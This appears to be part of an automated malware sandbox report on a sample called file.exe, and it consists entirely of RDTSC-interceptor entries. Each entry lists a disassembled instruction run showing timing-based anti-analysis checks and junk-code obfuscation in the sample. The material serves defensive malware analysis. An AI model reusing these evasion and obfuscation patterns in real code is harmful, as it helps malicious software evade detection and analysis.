Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336727 second address: 336742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336801 second address: 336826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007FB818BA6123h 0x0000000d pushad 0x0000000e jmp 00007FB818BA6115h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336AF8 second address: 336B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB818EDC0C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 337215 second address: 33721A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3374B0 second address: 3374BA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB818EDC0CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33755E second address: 337597 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818BA611Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FB818BA6113h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 337A8C second address: 337B14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB818EDC0C8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push ebx 0x00000025 jmp 00007FB818EDC0D1h 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FB818EDC0C8h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 push 00000000h 0x00000049 jns 00007FB818EDC0CBh 0x0000004f mov di, F171h 0x00000053 xchg eax, ebx 0x00000054 jbe 00007FB818EDC0CAh 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d pop edx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 pop eax 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3385B2 second address: 3385B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3396B1 second address: 3396C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 338E08 second address: 338E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818BA6112h 0x00000008 jns 00007FB818BA6106h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 338E2C second address: 338E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 338E30 second address: 338E3F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB818BA6106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A11D second address: 33A18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FB818EDC0C8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007FB818EDC0C8h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f or dword ptr [ebp+122D341Ch], edi 0x00000045 push ecx 0x00000046 clc 0x00000047 pop esi 0x00000048 push 00000000h 0x0000004a add dword ptr [ebp+122D1D0Dh], esi 0x00000050 jmp 00007FB818EDC0CBh 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jng 00007FB818EDC0C8h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A18D second address: 33A192 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33A8EF second address: 33A8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B5DD second address: 33B661 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FB818BA6108h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 je 00007FB818BA6128h 0x00000027 call 00007FB818BA6115h 0x0000002c jmp 00007FB818BA610Ch 0x00000031 pop esi 0x00000032 jmp 00007FB818BA610Ch 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FB818BA6108h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push 00000000h 0x00000055 mov si, D5F1h 0x00000059 xchg eax, ebx 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B661 second address: 33B66B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33C0FF second address: 33C182 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB818BA6106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007FB818BA611Dh 0x00000012 jmp 00007FB818BA6117h 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FB818BA6108h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 jmp 00007FB818BA610Bh 0x00000039 push 00000000h 0x0000003b call 00007FB818BA6115h 0x00000040 mov esi, dword ptr [ebp+122D37D8h] 0x00000046 pop esi 0x00000047 xchg eax, ebx 0x00000048 jng 00007FB818BA6114h 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33BE80 second address: 33BE9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33C182 second address: 33C186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33BE9B second address: 33BE9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33BE9F second address: 33BEAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33BEAD second address: 33BEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340B99 second address: 340BD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, 2015h 0x00000010 push 00000000h 0x00000012 movsx edi, di 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D3828h] 0x0000001d push eax 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FB818BA610Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340BD3 second address: 340BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341AF1 second address: 341AFB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB818BA6106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340CF7 second address: 340CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341AFB second address: 341B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340CFD second address: 340D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341B01 second address: 341B10 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340D01 second address: 340D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340D05 second address: 340D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341B10 second address: 341B7C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB818EDC0CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FB818EDC0C8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 and bx, AEE7h 0x0000002a and ebx, dword ptr [ebp+12458BDDh] 0x00000030 call 00007FB818EDC0CAh 0x00000035 mov dword ptr [ebp+122D2CBEh], edi 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e sub dword ptr [ebp+1245A433h], edx 0x00000044 push 00000000h 0x00000046 mov ebx, dword ptr [ebp+122D3726h] 0x0000004c sub dword ptr [ebp+122D2BAAh], eax 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340D12 second address: 340D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341B7C second address: 341B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340D18 second address: 340D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 jnl 00007FB818BA6106h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov ebx, 07EFF986h 0x00000019 mov dword ptr [ebp+122D2EF8h], esi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov ebx, dword ptr [ebp+122D2C01h] 0x0000002c mov eax, dword ptr [ebp+122D03B1h] 0x00000032 mov edi, dword ptr [ebp+122D3A68h] 0x00000038 push FFFFFFFFh 0x0000003a mov dword ptr [ebp+122D2B71h], ebx 0x00000040 call 00007FB818BA6119h 0x00000045 jmp 00007FB818BA6112h 0x0000004a pop ebx 0x0000004b push eax 0x0000004c pushad 0x0000004d jmp 00007FB818BA6110h 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341B81 second address: 341B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341D68 second address: 341D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345026 second address: 3450D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0D9h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FB818EDC0C8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub bx, C91Ah 0x0000002d jmp 00007FB818EDC0CCh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FB818EDC0C8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e jmp 00007FB818EDC0D5h 0x00000053 push 00000000h 0x00000055 mov dword ptr [ebp+122D2926h], ecx 0x0000005b xchg eax, esi 0x0000005c jl 00007FB818EDC0CAh 0x00000062 push eax 0x00000063 push edi 0x00000064 pop edi 0x00000065 pop eax 0x00000066 push eax 0x00000067 js 00007FB818EDC0CEh 0x0000006d push ebx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345FCE second address: 345FD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345FD2 second address: 345FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345FDC second address: 345FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345FE0 second address: 345FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 345290 second address: 34529A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB818BA6106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 346115 second address: 346128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348F0F second address: 348F30 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB818BA6117h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348F30 second address: 348F35 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348F35 second address: 348FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FB818BA6108h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D35B9h], edi 0x00000028 mov edi, dword ptr [ebp+122D28FDh] 0x0000002e push 00000000h 0x00000030 call 00007FB818BA6110h 0x00000035 mov edi, 4E5BD000h 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007FB818BA6108h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000015h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 or edi, dword ptr [ebp+12483D19h] 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f jns 00007FB818BA610Ch 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34AFE6 second address: 34B073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB818EDC0D1h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FB818EDC0D0h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FB818EDC0C8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FB818EDC0C8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 jc 00007FB818EDC0CCh 0x0000004f mov dword ptr [ebp+122D1DA0h], ebx 0x00000055 push 00000000h 0x00000057 push esi 0x00000058 mov dword ptr [ebp+1245566Ch], edi 0x0000005e pop ebx 0x0000005f push eax 0x00000060 push esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push edx 0x00000064 pop edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34C073 second address: 34C081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA610Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34C081 second address: 34C0DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b clc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FB818EDC0C8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D28ADh], edi 0x0000002e push 00000000h 0x00000030 and ebx, dword ptr [ebp+122D2B11h] 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 jmp 00007FB818EDC0D2h 0x0000003d pushad 0x0000003e jno 00007FB818EDC0C6h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34C0DC second address: 34C0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FB818BA6106h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34817F second address: 348183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348183 second address: 348189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34A233 second address: 34A237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34D0E0 second address: 34D0F7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB818BA6108h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007FB818BA6114h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34C272 second address: 34C278 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34D22C second address: 34D230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E35C second address: 34E360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E360 second address: 34E365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3535DC second address: 3535E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357C8C second address: 357C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357C92 second address: 357C98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35735A second address: 357392 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB818BA6118h 0x0000000a pop edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007FB818BA6106h 0x00000014 pop ebx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FB818BA610Ah 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357392 second address: 3573A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0CDh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3573A8 second address: 3573AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35753D second address: 35759B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FB818EDC0CCh 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 jng 00007FB818EDC0D2h 0x00000016 jmp 00007FB818EDC0D0h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jns 00007FB818EDC0C6h 0x00000027 popad 0x00000028 jmp 00007FB818EDC0D8h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35759B second address: 3575A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3575A0 second address: 3575BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35770F second address: 35771F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818BA610Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3578AC second address: 3578B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35BBB2 second address: 35BBB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
